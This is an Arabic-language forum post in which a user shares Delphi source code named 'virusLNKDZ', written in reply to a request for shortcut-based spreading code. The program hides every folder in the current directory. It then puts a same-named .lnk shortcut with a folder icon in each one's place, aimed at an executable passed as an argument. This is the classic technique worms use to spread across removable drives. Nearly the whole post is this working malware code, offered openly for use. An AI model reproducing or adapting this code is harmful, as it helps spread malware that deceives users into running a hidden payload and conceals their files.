18-06-2013, 12:41 PM
kakarotte كتب :نعم الانتشار عبر الاختصارات والكود قوي يا ليت واحد يحوله للدلفيبرمجته منذ مدة
PHP كود :
program virusLNKDZ;
// by onexite
uses
SysUtils,
ActiveX,
ComObj;
procedure run();
var
WshShell : OLEVariant;
oShellLink : OLEVariant;
searchResult : TSearchRec;
begin
//SetCurrentDir('..');
WshShell := CreateOleObject('WScript.Shell');
if FindFirst('*', faDirectory, searchResult) = 0 then
begin
repeat
if (searchResult.attr and faDirectory) = faDirectory then
begin
oShellLink := WshShell.CreateShortcut(searchResult.Name+'.lnk') ;
if ((searchResult.Name<>'.') and (searchResult.Name<>'..') )then
FileSetAttr(searchResult.Name,2) ;
oShellLink.TargetPath := ParamStr(1);
oShellLink.IconLocation := '%SystemRoot%\system32\SHELL32.dll, 3' ;
oShellLink.WindowStyle := 1 ;
oShellLink.Save
end;
until FindNext(searchResult) <> 0;
FindClose(searchResult);
end;
end;
begin
try
CoInitialize(nil);
try
run();
finally
CoUninitialize;
end;
except
Exit;
end;
end.

